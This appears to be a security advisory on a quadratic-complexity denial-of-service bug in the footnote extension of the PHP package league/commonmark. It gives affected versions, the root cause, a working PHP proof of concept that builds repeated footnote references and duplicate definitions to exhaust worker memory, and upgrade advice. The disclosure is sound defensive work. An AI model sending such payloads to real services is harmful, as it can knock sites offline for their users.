high · 7.5Aug 6, 2026

league/commonmark Footnote Extension Quadratic Complexity DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sending a small Markdown document with repeated footnote references and duplicate footnote definitions causes the parser to build an N-squared number of backref nodes, crashing PHP workers with…

Packageleague/commonmark
Ecosystemcomposer
Affected>= 1.5.0, < 2.9.0
Fixed in2.9.0
league/commonmark Footnote Extension Quadratic Complexity DoS

The problem

The FootnoteExtension in league/commonmark (>= 1.5.0, < 2.9.0) keeps one backref entry per in-text reference, then appends the full backref list for every definition block that shares the same label. No de-duplication happens in GatherFootnotesListener or NumberFootnotesListener.

A document with N references to label [^a] and N duplicate [^a]: definition blocks therefore produces N x N FootnoteBackref nodes. A roughly 10 KB crafted input expands to ~62 MB of HTML output, consumes ~3 s of CPU, and peaks at ~440 MB of memory, which is enough to OOM-kill a default 128 MB PHP-FPM worker.

Proof of concept

A working proof-of-concept for this issue in league/commonmark, with the exact payload below.

php
<?php
// Generates a ~10 KB input that triggers O(N^2) backref expansion.
// Requires FootnoteExtension to be registered on the Environment.
require 'vendor/autoload.php';

use League\CommonMark\Environment\Environment;
use League\CommonMark\Extension\Footnote\FootnoteExtension;
use League\CommonMark\MarkdownConverter;

$env = new Environment();
$env->addExtension(new FootnoteExtension());
$converter = new MarkdownConverter($env);

$N = 500; // tune upward for more impact

// N in-text references to the same label
$refs = implode(' ', array_fill(0, $N, '[^a]'));

// N duplicate definitions of the same label
$defs = implode("\n", array_fill(0, $N, '[^a]: footnote text'));

$markdown = $refs . "\n\n" . $defs . "\n";

// ~10 KB in -> ~62 MB HTML out, ~440 MB peak RAM
$html = $converter->convert($markdown);
echo strlen($html) . ' bytes output' . PHP_EOL;

The root cause is CWE-407 (Inefficient Algorithmic Complexity). GatherFootnotesListener iterates every definition node and appends the full list of already-collected backrefs to it, so duplicating the definition block multiplies the backref count with the reference count rather than capping it at one.

The patch at commit 66028124 adds a de-duplication guard: only the first definition seen for a given label is kept, so subsequent duplicate [^a]: blocks are discarded before the backref-appending loop runs. This collapses the complexity from O(N x M) back to O(N + M).

No authentication or special configuration is needed beyond FootnoteExtension being registered, which is the case in any GFM-style setup.

The fix

Upgrade league/commonmark to version 2.9.0. If an immediate upgrade is not possible, disable FootnoteExtension for any endpoint that accepts untrusted user input, or enforce an aggressively small input-size cap before calling the converter (the advisory notes a ~10 KB payload is already sufficient to trigger the worst case, so typical body-size limits offer little protection).

Reporter not attributed.

References: [1][2][3][4]

Related research